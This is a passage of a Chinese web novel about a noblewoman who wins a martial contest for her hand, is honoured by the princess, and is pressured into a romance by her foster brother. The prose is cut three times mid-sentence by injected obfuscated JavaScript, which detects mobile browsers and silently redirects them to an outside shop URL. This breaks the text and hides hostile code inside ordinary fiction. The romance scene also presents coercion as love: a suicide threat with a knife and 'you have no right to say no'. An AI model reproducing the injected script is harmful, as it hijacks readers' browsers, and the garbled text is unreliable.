“真是可惜，”那汉子叹她丫鬟的身份，为自己辩白道，“刚才是这几人想要和我组队，被我拒绝后出言不逊，我才被迫反击，这桌子是他们掀翻的，与我无关。” 青霜不知道他在可惜什么，也没有要他讲明谁对谁错，见他这样回答，觉得这人还算明理，问道：“公子同意停手吗？” “嗯，我放过他们了。” 倒在地上的几人听到这句话如蒙大赦，逃也似地离开了。 “敢问姑娘芳名～” “贱名不敢污尊耳，告退。”青霜觉得这个问题很奇怪，拒绝回答。 台上的慕池为了避免漏网之鱼，干脆把不认识的四个人都揍了一顿，只留了状元郎。 他和项梧的关系似乎不错，来家里做过客，诗会上也坐在一起，看在项梧的面子上，慕池不曾伤他。 慕池和苏玫表面对招，实则聊天。 “真是没想到您愿意捧场，我是怕您生气才没敢邀请，还望勿怪。”说着她一剑就刺了过去。 第一批邀请函的名单里没有他，只是没想到他自己来信问能不能参加，慕池当然同意，但还是有些疑惑，因为以他的出身，似乎也不太需要吸引公主注意从而争抢“驸马”这个名头。 “我是自愿来的，为了小姐你。” “您说笑了。” “不是说笑，”苏玫吃力地接招，“我知道我武功不好，但请小姐给个机会，也许到了文试，小姐会满意我的答案。” “您可以告诉我为什么吗？” “朝阳多智，小姐貌美，贵府……有钱。” “朝阳知道您的想法吗？” “他不同意，但我想亲自告诉小姐。” “我也不同意。” 苏玫并不符合她的标准，慕池挑落他的剑，请他下台。 上午比了二十多场，没有一组能坚持一炷香。还留下一半等到下午比试。 趁大家吃饭的时间，项梧给慕池讲了下午会遇到的强劲对手。 下午的公子里出身武将世家的比较多，整体实力比上午那些高上一个层次。 有两三是自家兄弟上阵，使着家传绝学，项梧在知道这些人会参加时就打听了告诉慕池。 有一组只有一人，他正是今年的武状元，镇国大将军长子，擅使偃月刀，力大无穷。他在最早同意参加的那一批人里。 紧挨着他的那一组，里面是楚王和四个小武官的义子。 “要不把他们都放过吧，到了第二轮咱们也还有余地，单打独斗你肯定能赢，可这样一个接一个，我怕你身子吃不消。” “朝阳，我现在一点都不累。即便到最后只有他入围，到了第二轮我也可以谁都不选的。我想知道我的极限在哪，这么多年了，我想再拼尽全力一回。” 慕池的眼睛亮晶晶。 “朝阳，修撰大人说他有意，你为什么不告诉我？” “什么时候说的，他还说了什么？”项梧紧张起来。 “就是刚才比武的时候，没说别的了。” “不必理他，他是借了银子还不起想拿自己抵账。” 慕池笑了：“看来这里面有不少趣事，回家与我细说。” “不知你是怎么答复他的？” “我悄悄拒绝了。” 项梧放心。 “你上午好像一直盯着我，为什么？” 项梧坐在极靠前的位置，目光炙热，让她难以忽视，都有些影响她的发挥了。 “你也时常看向我？” “你离得近，难免注意到。” “台下众人都能看你，只有我不行吗？” 慕池慌忙解释：“我不是这个意思，我想问是不是我哪里很奇怪才让你盯着看。” “是有些奇怪，你戴上面具后好像换了个人，特别凶。” 慕池胡扯道：“那是阵前叫骂，瓦解对方士气用的，这样他们就会急怒，容易出现失误。” 虽然确实是这个道理，但她骂主要是自己想骂。 “真的吗？你以后不许用那样的语气和我说话。” “当然，我平时还是很温柔的，现在不就是轻声细语吗？” 项梧使坏：“我也觉得你很温柔，可他们私底下叫你‘母老虎’诶。” “真的吗，他们好讨厌。下午我让他们见识见识什么是真正的母老虎！” 慕池下午穿了银红色的袍子。老虎面具沾了汗，她换成兔子面具——这个是元宵节上项梧戴的。 慕池扫视下方，已经有不少伤员，他们多半被慕池言语羞辱过，心怀愤恨，就等着看慕池被打倒的时候。 这些人甚至联合出了“悬赏”，每人出了二三十两银子，谁能一炷香之内打败慕池谁就能拿走巨额赏金。 慕池听到累计的数额后都有些心动了，她想过要不要跟人合作拿下这千两银子。 公子们在底下讨论起来，慕池会最先败在谁手里。 在热门人选刘氏兄弟和张氏兄弟相继落败后，轮到了叶瞻上场，他空着手，没带任何兵器。 公子甲：“叶尚书家的？他武功特别好吗？怎么一个人就上去了。” 公子乙：“嗨，你不知道，他是忠勇侯的表哥，许是他们自家人走个过场，互相捧捧，就给放到第二轮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378363|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 公子甲：“刚才那两场她可是用了全力，这会儿不能太明显放水吧。我可押了三十两，别到时候落到他们自家手里了。” 公子丙：“你怕这个？等会儿叶瞻要是赢了咱们就闹起来，捅破他们的关系不就行了，左右他的目的是在公主面前露脸，咱们就让他丢脸，说这场比试不做数。” 公子甲：“这个主意好，不过你怎知他是为了公主？我看慕小姐也十分貌美，我就是听人说她是个美人儿才来的。” 公子乙：“我刚才不是说了他们两家的关系，要是慕小姐能看上他，不是早就定下婚约了，他需要在此比武？” 公子甲：“哈哈哈，不好意思，忘了这个，你看他们怎么还不打呀。” 公子乙和公子丙看向擂台，香已经点燃，二人还没有动手。 方才和刘、张两组的比试赢得不轻松，接下来还有两场苦战，她需要恢复一些体力。 她也好奇，项梧已经代她拒绝过叶瞻，甚至因此恶化了两家关系，他到底是怎么敢上擂台的。 叶瞻痛心疾首：“表妹，你变了，你从前是多么温和有礼，现在却像个市井泼妇一般，还抛头露面做出这样丢人的事，今后哪家敢要你来当宗妇？” “你这么熟悉这里面的规矩，想来天生就是给人家当宗妇的，怎么这么大年纪也没人要啊？“ 他们的对话被一楼二楼听见了，引发一阵爆笑。 他慌乱地看向公子们，试图从里面找寻到支持他的目光，结果一无所获。 叶瞻恼羞成怒：“你以为这些人都是为你而来吗？事情闹成这个样子，我看你今天打算如何收场！” 慕池有意再耗一会儿：“听你之意，莫非是来帮我？” 叶瞻看不到她的表情，只当她是女人家无主见，此时改了主意求助，于是答道：“你现在随我下台，好好跟大家道个歉，说这都是你的胡闹，我相信诸位公子大人大量，会原谅你的。” 底下公子甲道：“这姓叶的脑子有毛病吧。” 公子丙：“我瞧着也像。” 公子乙不好意思说话，刚才是他介绍的慕小姐和叶瞻之间的关系，显得和叶瞻太熟了。 慕池问道：“然后呢？” “然后……”叶瞻梦到哪儿说哪儿，“我已经原谅你了，你再到我府上跟母亲和妹妹好好道个歉，咱们的事以后慢慢议，你或许还能当我的正妻。” 底下人听八卦的耳朵已经竖起来了，这里面肯定有事！ “怎么又要道歉？你说说我是因为什么事得罪了她们。” “你还不知道吗，都是因为表弟那封告密信，让我父亲母亲大吵一架。”叶瞻指向台下坐着的项梧。 慕池一剑过去，划伤了他那根手指，道：“把爪子收回去，好好说话。告的什么密？” 叶瞻收回受伤的手，吓得一连后退几步，没料到慕池真的会伤他。 那日在府上拦下她时她还不敢反抗来着，叶瞻看到她今日展现出来的功夫，以为她当时对自己有情，所以才没动手。 没想到才隔了这么短的时间，她就像变了一个人。 “你不知道吗，我还以为是你善妒不能容人，才让他给父亲写那封信。” 15. 比武招亲3 台下众人听到他这模模糊糊的话心痒难耐，知道内情的已经开讲座了。 公子乙：“这事儿我知道，他一掷千金养了个花魁外室，前些日子被发现挨了老子的打，连带着把尚书夫人也气回了娘家，叶尚书还因此受了弹劾。” 公子丙：”是吗？怪不得他说善妒这种话，不过慕小姐真的看上过他吗？那眼光可够差的。” 公子甲：“对啊，我觉得我比他强，待会儿他挨的打要是比我少我就要生气了。” 叶瞻把他养外室的事包装了一番说出来。 “放屁！”慕池第一次说出这么粗俗的话，“你不用满大街认娘，这儿没人拿你当个宝贝疙瘩，你自己没担当反怪他人，真不要脸！” “你……”叶瞻被气得想用手指指她，牵动了伤口，想起刚才的教训。 叶瞻压低声音威胁道：“你要是不答应我，我就把你不能生育的事说出去，看谁还敢要你！” 慕池大笑：“叶瞻，你忘了，你参加的是比武，生死状已经签下，我敢杀你！” 慕池提剑出手，叶瞻见势不妙赶紧跑下台认输。 公子甲：“这家伙跑得倒快，可恶！” 下一位上台，公子们高声欢呼，他可是接下来最有希望战胜慕池的人了。 “在下兵马司副指挥祁江，请赐教。” 慕池对他有印象，他上午似乎和一些人产生了矛盾，还打起来。 不过那时候只是远观，不如现在看得真切，只见他： 面如镔铁，目赛朗星，身似山岳，声若洪钟，不亚天宫护法将，堪称人间盖世英。 “在下祁江，请赐教。”他见慕池没有动作，又提醒一遍。 “啊，失礼了。” 慕池看得入神，估摸着眼前这个人身长九尺有余，她还从未见过这般雄壮的人。 刚才他似乎又说了什么，慕池没注意听，问道：“你说什么？” 祁江大声道：“我使长兵，也请小姐换了长兵。” 慕池被他声音震醒，和青霜交换了武器。 她心道：还好戴了面具，不然刚才众目睽睽的，不都知道自己被美色晃得失神了嘛。 祁江道：“请。” 慕池不多让，她有心对他展示实力。 这一战，慕池拿出了前所未有的认真。 此前的战斗，慕池多是以力量优势压制，银枪和偃月刀交锋后，慕池知道自己得改变策略了。 慕池手中银枪如同蛟龙出海，上下翻腾，变幻莫测，招招冲着要害；偃月刀则沉稳如山，大开大合，以力破巧。 火星不断迸射，金铁交鸣不绝于耳，二人你来我往，战作一团。公子们早已看得目瞪口呆，连呐喊都忘了，只知屏息凝视，生怕错过一招一式。 祁江有这样的水准他们是不意外的，毕竟他出身武将世家，又是武状元；可慕池久战而不知疲惫，甚至还能拿出匹敌祁江的武力，她凭什么？ 人群中不知谁说了一句：“一门双侯，俱以军功获封，慕小姐打小就住在这样的家里，实不为怪啊。” 众人才想起来这些年逐渐没落的忠武侯府和忠勇侯府。 这对姐弟一武一文，或许真能振兴两府。 三十招后，慕池挑破了祁江的衣袖，露出他强壮有力的臂膀；祁江斩断了面具的绑绳，兔子掉在地上摔碎。 祁江听说了风言风语，他不想被利用于消耗慕池的体力。 他是带着任务来的，现在已经有话可回，就打算下场了。 “公子何往？”慕池拦道。 祁江觉得可能是自己差了个步骤，道：“在下认输。” 随后大步走下擂台。 慕池看着他的背影，有些不甘。 她下台走到项梧桌子那儿状似给自己倒了杯水，实则悄声嘱咐：“你帮我问他为何故意认输。” “嗯。” 项梧心里酸涩，恰如那个碎掉的兔子。 楚王带着他的四名队友下楼了。 这位是慕池唯一能确定的奔着自己来的人。 这支队伍的危险之处在于楚王那四个“义子”队友，本来是为了让组队公子团结一心的规则，被他钻了漏洞，直接安插了四个人替他比武，这组若是赢了，其余四人铁定会退出。 规则是上午才公布的不假，可以他的身份让人立即认下义子不难。 她可以用一些说辞在文试中筛掉楚王，不过只怕到时再生变数，最好还是在第一轮解决掉，但慕池不确定自己在一炷香之内能否击败那四人。 不如故技重施，仍旧擒住楚王胁迫他们？ 慕池原本是这样想的，并尽量不看楚王、掩饰神情以免暴露目标。 谁知那四人将楚王护在身后，香点燃之后，楚王直接走下台了。 他一开始就没有比武的打算。 慕池和公主的两个侍女分别比试过，算是了解一些皇家护卫的本事。 但当时比今日不同，一来有一炷香的时限，二来公主那时没有下死命令。 从楚王手下当夜是如何干脆利落地卸下自己胳膊，便可窥知今日比武的景况。 楚王就在一楼坐下了，悠闲地等着自己胜利的结果。 慕池和那四人缠斗起来，一时间不落下风。 半炷香过后，台上五人俱已挂彩。 她感受到对方似乎收到了不能伤她的命令，好几次危急之际对方转了刀锋，是以慕池虽然讨厌他们也没有下死手，只是把人往擂台下逼。 她悄悄商量：“我不欲伤你们，待会儿你们看准时机就下去吧，这也能交差。” 这些人仿佛是一个个只知道攻击的木偶，没人回答她。 今天所有被慕池打下去的人最多也只是受了皮外伤，不曾伤筋动骨。 时间过半，慕池的耐心耗尽，她顾不了许多，真正用上了杀招。 慕池抓住破绽，银□□进一人的胸膛，不想被骨头卡住枪头，那人又紧紧拽住长枪，其他三人攻来，她只得向后翻身躲闪。 青霜把佩剑扔上台，慕池接住。 慕池与另三人对峙，刚才被刺中的那个已经开始倒地吐血了。 她的剑法确实更好，狠下心后，余下三人身上衣物俱被大片血迹洇红。 即使如此，他们却像感觉不到疼痛似的倒下又站起来。 慕池的腿被暗器击中，一时吃痛，迎面的攻击躲闪不及，在地上滚了几圈，被砍伤了胳膊，十分狼狈。 是最先倒下的那位发出的暗器，他此刻拔出银枪，挣扎着站起身加入战斗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378364|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一个个的简直是疯子！ 公子甲：“这些人不要命了？不过一次比武，至于吗？” 公子乙：“嘘～你不要命了！别多嘴。” 眼看时间没剩多少，慕池也顾不上伤痛，陪他们做一回疯子。 她只攻不守，飞身踹下两人，缴械掀翻一人，用敌剑贯穿一人，让他落到楚王脚下。 做到这种程度，慕池几乎力竭，汗如雨下，跪坐在地大口喘气。 香灭了。 楚王被吓得后仰，差点原地栽倒。 现场的大夫立刻前去查看那几人伤势并进行处理。 慕池胳膊上的伤简单包扎过就叫下一组上场了。 楚王骂了声“废物”，自觉脸上挂不住，不管那四人，前呼后拥地离开云鼎楼。 公子甲：“现在可以说了吗？楚王哪儿找的这些人呀，我从来没听说过。” 公子乙左顾右盼，压低声音：“他们是皇家暗卫。” 公子甲：“那以小姐一敌四岂不是很厉害！” 公子丙：“你才知道她厉害？你看她伤得，不知为何这般要强，天潢贵胄都不满意，她究竟能看上谁。” 公子甲冒粉红泡泡：“你看我有希望吗？小姐要没选中人，我让我娘去提亲试试，烈女怕缠郎嘛，说不定小姐就发现我的好了。” 公子丁：“就凭你？刚才扛得住两招了吗？小姐连你是谁都没记住。” 公子甲：“你厉害，你接了十来招，被打成猪头。” 余下的人不足为惧，慕池伤了左臂，右手持剑也能把他们赶下去。 慕池胳膊上的绷带渗出血，赶下一组又一组人，末了孤身站在台上，竟然生出一股悲壮之感。 “列位，我赢了。” 这样得意的场面，慕池本来准备了很多话嘲讽失败者们，可是没了面具遮挡，她暂时说不出口。 公子甲：“她笑起来好漂亮。” 公子丁：“她不笑时也漂亮。” “公主殿下有旨～” 三楼下来了女官并一众侍女，来到台上宣旨。 公子小姐们跪了一地。 “今有项氏，设擂比武，气贯长虹，技压群英，本宫甚爱之，特封为公主府副典军，赐赤金珠冠一顶，鎏金细鳞甲一副，良马五匹。尔其钦承，毋负本宫期许。” “臣女领旨谢恩。” 公主出手阔绰，直接给她封了个副典军的官职。 慕池不知道这是几品，但就算是个九品芝麻官也是天大的喜事，因为这是她用自己的武艺得到的，而不是因为她是谁的附庸。 学成文武艺，货与帝王家。 慕池知道这是公主的恩赐，公主府属官由其自决不假，但自己毕竟只是在比武中展示出了一些本事，没考过武举其他科目，公主就肯这样信任，慕池发自内心感念她的恩德。 忠勇侯府小姐云鼎楼比武受封的事，马上就会传遍京中权贵。 此一时彼一时，原来瞧不上她身份的人家此刻也动了结亲的念头。 公主是陛下唯一的子嗣，未满十五岁就在宫外建府，所有待遇都是亲王规格。 上一位公主不就是亲王吗？那位之前一直是被当做皇储培养的。 不知当今陛下是何想法。 16. 美人计 受伤最重的那四个“义子”，慕池让人送回了他们各自的家门。 慕池觉得自己也体会到了项梧登科后的感觉，飘飘欲仙。 她此刻最想向项梧分享自己的喜悦，想到自己拒绝观看他跨马游街，生出几分愧疚。 回到栖霞阁，司衡已经备好热水和伤药。 今儿出了一身汗，只是身上大大小小伤口颇多，只能简单擦擦。 慕池正在屋里解了衣裳让青霜帮着上药，门外丫鬟报：“小姐，侯爷说拿到回信了，请您去他那儿看看。” 她差点把这事儿给忘了：“告诉他我马上就去。” 不知祁江何意，还专门写了封信。 慕池越猜越心痒，对青霜道：“我先去那儿，等回来再上药吧。” 青霜疑惑：“这么急吗？” 侯爷明知小姐受伤，往日如果是这种情况，他肯定会亲自来而不是让小姐去，怎么搬得近了，反不愿走这两步路？ “是挺着急的，我先走了，这么近，你们不用跟着。” 青霜帮慕池穿衣。 慕池走进枕云轩，没碰上仆人。 项梧屋子里亮着灯光，门开着，他应该在里面。 慕池敲敲门：“朝阳，我来了。” “进来，把门关上。” 慕池听话地关上门，她以为项梧会转述她一些事。 “朝阳～” 慕池越过屏风找他。 “这么早你就困了？” 慕池见他床帏放下，人躺在里面。 “咳咳，”项梧咳嗽了两声，“没有，他的信在我这儿。” “你着凉了？还是说他打你了？！” “我难受。”项梧声音虚弱。 “到底怎么了？” 慕池把手伸进床帏要掀开，不防被他拽进去，惊呼一声。 她反应迅速，调整好自己的位置，跨坐在项梧身上压制住他：“哈哈哈，你想捉弄我还早了点！” 项梧身着寝衣，衣襟大敞，倒在床上放弃抵抗。 慕池摸摸他额头，没觉得有什么异常，顺手帮他整理了衣服，道：“不能贪凉。” 项梧赌气似的扯开衣襟，把头偏到一边。 “好吧，我不管你。我的信呢？” 项梧生气了，单臂撑起身体，如墨的长发披散在肩上，顺着衣领钻了进去。 慕池下意识往后退，被他拦住了。 “姐姐故意挑破他衣服，对吗？” “他看出来了？”慕池以为被祁江识破心思，有些羞赧。 “为什么呢，姐姐？你能亲口告诉我吗？” 慕池眼神躲闪：“我……好像有点喜欢他。” “不过才第一次见面，大庭广众之下，姐姐就想看这个？” 项梧褪去衣袖，露出自己的臂膀。 “你在骂我轻浮？”慕池心里五味杂陈，想要逃离。 “我希望你轻浮，这样就能多看我几眼，”项梧抱住她，“我嫉妒他分走了你的目光，姐姐，可不可以不要喜欢他。” 慕池听到他的哭腔，拍拍他的背。 “我知道你一时接受不了，像是小时候最要好的玩伴突然交了个新朋友，换我也会伤心难过。是我考虑不周，让你去做这件事，以后不会了。但是喜欢是抑制不了的，我只是有点喜欢他，你还是最重要的。” 项梧小心翼翼地抱紧：“骗人，你从来没有像看他那样看过我。” 慕池承认了：“爱美之心人皆有之，我一时被迷住了，多看几眼。你们不一样，不能这么比。” “我已经是个男人了，你还这么没防备，这就是不一样吗？”项梧感受到她身子僵住，“你真不知道吗？我还想对你这样……” 项梧咬住了她的耳垂。 慕池打了个激灵，推开他，到底难以启齿：“你……这是在做什么？” “姐姐真擅长无意间勾引男人。” 慕池要逃出去，被他攥住腰拽回来。 “隔户杨柳弱袅袅……” “住嘴！” 慕池拦住了他调戏的话，掰开他的手，终于下床。 项梧赤着上身追出来。 慕池不正视他：“若有书信快交出来，若是诓我，我就走了。“ “信在这儿，我没骗你。” 项梧从床上取出信封。 慕池伸手：“给我。” 项梧把自己的手递过去抓紧：“我对你的喜欢也难以自抑。想到你有一天会和别人亲密无间，我就心如刀绞，你可怜可怜我吧。” 陈年的记忆被他刚才那句话唤醒，慕池强忍住逃离的冲动，心中仍以姐姐自居，觉得自己该和他讲清楚。 “穿上衣服，我跟你说会儿话。” “你要是心里无我，为何不敢看我。” “我要是心里有你就放心大胆看了。” 项梧把信放床上护着，自己穿上衣服。 “我非你不娶。” “那你就别娶了。”慕池怼道。 “上次是我催婚得罪了你，这回可是我哪里又做错了？” “你若强要揽错，那我告诉你，你连呼吸都是错的。都这样了，你还只以为是玩笑吗？” 项梧走近，挑起她的一缕发丝玩弄。 项梧的阴影覆盖了慕池，他小时候比她还矮点，现在已完全长成个大人了。 慕池闭上眼睛，鼻子一酸。 “那年帮你逃出府参加童生试，得中之后你受伯父罚、我挨嬷嬷骂，我还记得她的话——‘……狐狸精’，如今你也这么说。” 项梧手一僵，他只知道慕池在家里不受重视，不知道她还受过这样的屈辱。 看到她痛苦的模样，项梧的心都要碎了。 “我是嫉妒、害怕才说出这种混账话，你若生气只管打我，千万别伤心。” 虽然被勾出来，但到底是旧事，该哭的早就哭完了，慕池收拾好情绪。 “这些年你只顾着用功读书，接触的姑娘只有我和府上丫头们，朋友也少，不常聚会，误判了自己的感情也是有的。” 项梧眼里晦暗不明：“你若还是怀疑，不妨试试我能做到哪一步。” 慕池想起他刚才的亲昵，这种程度自己就受不了，还试什么。 “你脸很红，在想什么？被讨厌的人那样做也会脸红吗？”项梧拦不住她，只能耐心诱导。 左右屋里没其他人，慕池索性直接问：“你是对这具身体产生欲望了吗？乃至于想要独占它？” “在你心里，我就是楚王之流吗？” 慕池意识到伤了他的心，但她也不太明白，遂问：“那你是什么样的喜欢？” “我想要的东西，我想做的事，即便有时候你不太能理解，也会选择支持，冒天下之大不韪的支持。你对谁都是如此，可我的心很小，只装得下你。” “我们现在这样不就挺好的吗？何必要说喜欢。” “不好，一点也不好。你不断地被其他人占据了时间，身边的婢女，我嫉妒；别家的小姐，我嫉妒；现在竟然还有个男人，你太过分了……” 慕池明白了今天这一切的开端，是她表现出了对祁江的在意，哪怕只是微小的萌芽，都让他大受刺激。 “那封信我不看了，可以吗？” 她衡量了一下，还是项梧比较重要。左右公主殿下已经封官，她或许能够换一条路。 项梧对慕池总结得很到位，他说什么她都会应允。 “你想逃避吗？我说得清楚点，要么爱我，要么杀了我。” 项梧从来没用这么冷的语气对她讲过话，她如坠冰窖，愣在原地。 慕池从来没想过自己会和他走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378365|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一步。 她不能理解他浓烈的感情，何至于以命相逼？ “你缺少一样兵器吗？” 项梧从桌匣取出匕首，手握刀刃，把柄交到她手里。 项梧握住她的手，往自己的小腹刺去。 慕池用尽全力和他对抗，牵动胳膊上的伤，一时泄力被他刺进了血肉。 “能死在你手里，我会很幸福。”项梧交代遗言。 孤独和恐惧包裹了慕池，意识到可能永远失去项梧，她什么都顾不得了：“我爱你！” 项梧眸中流露出深深眷恋，压抑多时的疯狂顷刻间喷涌而出，声音低哑命令道：“你若爱我，不许反抗。” 他松开手，抱起慕池，让她高过自己，虔诚地吻向她的下唇。 慕池有些害怕这样的距离，闭上了眼睛，感受着他喷洒出的热气，被搅乱了呼吸。 “睁开眼…唔…看着我…” 慕池眼睫轻颤，看到他双眼猩红。 “姐姐…你现在的样子…真美…” 项梧沿着下巴亲到脖颈，慕池不由自主抬头。 “好想留下…属于我的…痕迹…” “别，会被发现。” 项梧轻咬了一口以示惩戒：“姐姐…你没有说不的权利…” 项梧亲得忘情，片刻后滚烫的泪珠落到脸上才察觉异常。 他仰面看她泪流满面，饱含屈辱，意识到自己过火了，于是恢复了平时那个听话的模样。 他轻声细语哄道：“我错了，别伤心。” “不要叫我姐姐。”慕池抽泣哀求。 她一时间还难以接受自己和“弟弟”发生这样的事，因此每声“姐姐”都像是在责骂。 项梧吻下她掉落的泪珠，自责道：“好。” 慕池大胆推开了他：“快收拾一下伤口。” 项梧和慕池对招时会受伤，因此屋里也备了药。 他自然地当着慕池的面脱了衣服包扎。 本来是要看看伤口有多深的，但出了刚才那样的事，她又不想看过去。 可他手上应该也有伤。 慕池听着他一步步取药、上药、包扎…… 他还疼得吸了口气。 早知如此，刚才又何必呢？ 慕池听到他取了另一件里衣换上。 “刚才你的伤口开裂了吧。” 慕池以为他也要为自己包扎，用手抓住衣领，眼神抗议。 项梧失笑：“好，我不碰你。” 他捡起不知何时落地的信封交还给她。 “怎么愿意给我了？” “因为你不想看了。” 慕池气得拿信封打他。 “上官大人好大的脾气。”项梧装作吃痛捂住胸口。 “上官？” “你还不知道？副典军是从五品的官职，编修是正七品。” “原来是这么大的恩典。” 她没想到自己比正经科举上来的项梧还要高上三级，感谢之余，慕池觉得受之有愧，想着自己将来应当如何报效。 “咱们挑个日子成婚吧，我看过了，下月初三就很好，府上采买布置也都来得及。” “啊？” 慕池不知道他什么时候看得日子，虽然刚才做过了那样的事，她还不明白什么是爱。 或者说她在害怕，害怕成婚之后有朝一日项梧后悔，后悔自己被青梅竹马之谊蒙骗。 她眼神躲闪：“这事儿不着急，我才在比武招亲上拒绝了他们，转头就和你成婚，那些人岂不说你我合谋戏耍他们？” “管他们作甚？” “再迟些吧。” 再迟些，或许你就厌烦了、看清了。 慕池的睫毛还是湿润的 今日已得了意外之喜，项梧不忍逼她太甚，此时暂退一步，放她回去。 17. 两个主食 脑子里乱乱的，慕池回到栖霞阁，犹豫了半天要不要看信，最终还是好奇心胜利了。 青霜奇怪：“小姐，你去了这么长时间都没看信吗？” “嗯……我们商量了别的事，耽搁了。” 慕池打开信封一目十行，她被拒绝了。 信上说祁江父亲是项伯父的旧友，此一行乃听从父命，并无他意。 可恶，项梧一定看过这段。 后面他又问了慕池身边力气特别大的那个侍女是谁，行文间不吝赞美，责怪慕池浪费人才，并有意为她赎身。 慕池好面子，裁掉前面的那部分，把剩下的让青霜看。 “他是武状元祁江，高高壮壮，是张黑脸，”慕池刚被婉拒，不想说太多他的好话，“现任兵马司副指挥，是镇国大将军的长子，你有印象吗？” “他就是台下打人那个！”青霜想起来了，“不过他这是什么意思？我根本不认识他。” 慕池猜到了一些，但她不能确定。 “你明天不是要回家嘛，我再详细问问他，看他那儿是不是有好出路，你回来了我们再商议。” 青霜有些害怕：“小姐，您千万别把我卖过去。” 慕池见她误会，慌忙解释，结果越描越黑：“当然不会！我是看他似乎对你有意才愿意细问的，你放心，他家里比我们府上还要好。” “我已经很满意现在的生活了，只愿在您身边，别的哪儿都不想去。” 青霜急得快要给她跪下来。 “你别怕，”慕池想了诸多劝慰的话，总觉得不足以让她安心，“我把卖身契还给你可以吗？等你回来咱们再去官府除籍，这样谁都卖不了你。” “小姐，我不是这个意思。” 青霜大为感动，却觉得自己有恃弱凌强的嫌疑，明知道小姐心善，刚才好似故意逼她。 “您不怕我趁机跑了吗？” “我怕你跑，因为我很喜欢你；但又是因为我喜欢你，我不怕你跑。” 前半句是说不舍得青霜离开自己，后半句是说青霜值得更光明的未来，当然，光明与否得由她自己判断。 青霜没太听懂，但她知道两个“喜欢”的意思是不会被轻易赶走，于是放下心来。 慕池问：“此一去几日能回？” “至多三日便回。” 青霜此次回家目的主要是赎出姐姐，倘或一时没有好时机求得主人家放人，就把钱给姐姐或者家里，她自己先回来。 “不必如此着急，想你们姐妹少有和父母团聚的机会，多留几日吧，我这里有司衡照看，你不必担心。” 青霜离家多年，和双亲感情淡薄：“其实没什么好聚的，家里还不如府上自在。” 慕池回想起自己从前的经历，颇能理解她的心情，道：“那就推说我这里催的急，你们可以在路上多玩几天。” “小姐，你人也太好了吧！” “油嘴滑舌，今天晚上你不用陪我了，我想先适应适应。” 自那晚楚王夜袭，慕池一直让青霜陪自己睡觉。青霜走后，慕池要一个人面对黑暗了。 “那我接着给您上药？” 慕池脸颊发烫，她不知道刚才留没留下痕迹，不敢让青霜细看，把她赶走：“我自己来，你回去吧，再想想有什么东西忘带了没。” 青霜沉浸在即将和姐姐重逢的喜悦，左右只剩下腿上几处擦伤，她先行离开了。 慕池赶忙照镜看脖子上有没有咬痕，她松了口气，万幸没有，只是下唇红艳了些。 胳膊上的纱布渗出血，她自己更换。 刚才的画面又浮现在她脑海，她有些害怕那个模样的项梧，但这并不是厌恶，不是对楚王的那种厌恶。 项梧说的话回荡在她耳边。 “我已经是个男人了，你还这么没防备……” 慕池很想知道自己到底把项梧当成什么角色，她觉得自己也有点不正常。 “你不断地被其他人占据了时间，身边的婢女，我嫉妒；别家的小姐，我嫉妒；现在竟然还有个男人，你太过分了……” 慕池当晚做了个梦，梦见项梧娶妻生子，一家人其乐融融，她想要过去反被项梧持剑赶走，让她滚开。 项梧从来没对她说过这样重的话。 慕池醒得早，等了好长时间他都没过来。 往常他也不是日日来，今天慕池的心乱了，格外在意这件事。 公主容她养两天的伤，等到后日再去谢恩。 她在家里没事就胡思乱想，想着是不是自己那点做的不好，他现在生气了才不来。 学堂今天就开课了，不少丫鬟都去报名。 “司衡，今天开了什么课呀？” “小姐，今天上午是蒙学，下午是烹饪，您想看看吗？” 司衡看出她苦闷，想劝她去玩玩。 “烹饪？今天会教大家做什么呀？” “第一节课会讲食材和刀功这些，最多教个炒青菜，小姐想尝试吗？” 慕池有这个想法，但是项梧不爱吃青菜，她问道：“我想做个简单的甜食，可以让府上厨娘直接教我吗？” “当然，糖蒸酥酪、豌豆黄、栗子糕……小姐想做哪个？” 司衡说了一大堆糕点，有的制作起来并不容易，但总有办法让小姐做起来容易。 “就糖蒸酥酪吧。” “好嘞，我吩咐厨房准备好食材。” 也许他只是需要关爱，倘能在生活上更亲近些，他就不会做出逾矩的事了。 慕池在厨房里刚把第一份蒸上，就有人报兵马司副指挥祁大人到了。 慕池正有话问他，忙净了手去会客，吩咐人帮她看着火。 二次见到祁江，不得不说，他还是很合慕池的眼缘，可惜。 “你的信我让青霜看过，只是其中言语含糊，我弄不明白是什么意思。现在青霜回家探亲，说是三天回来。改天我去拜会伯父伯母，向他们致谢。” 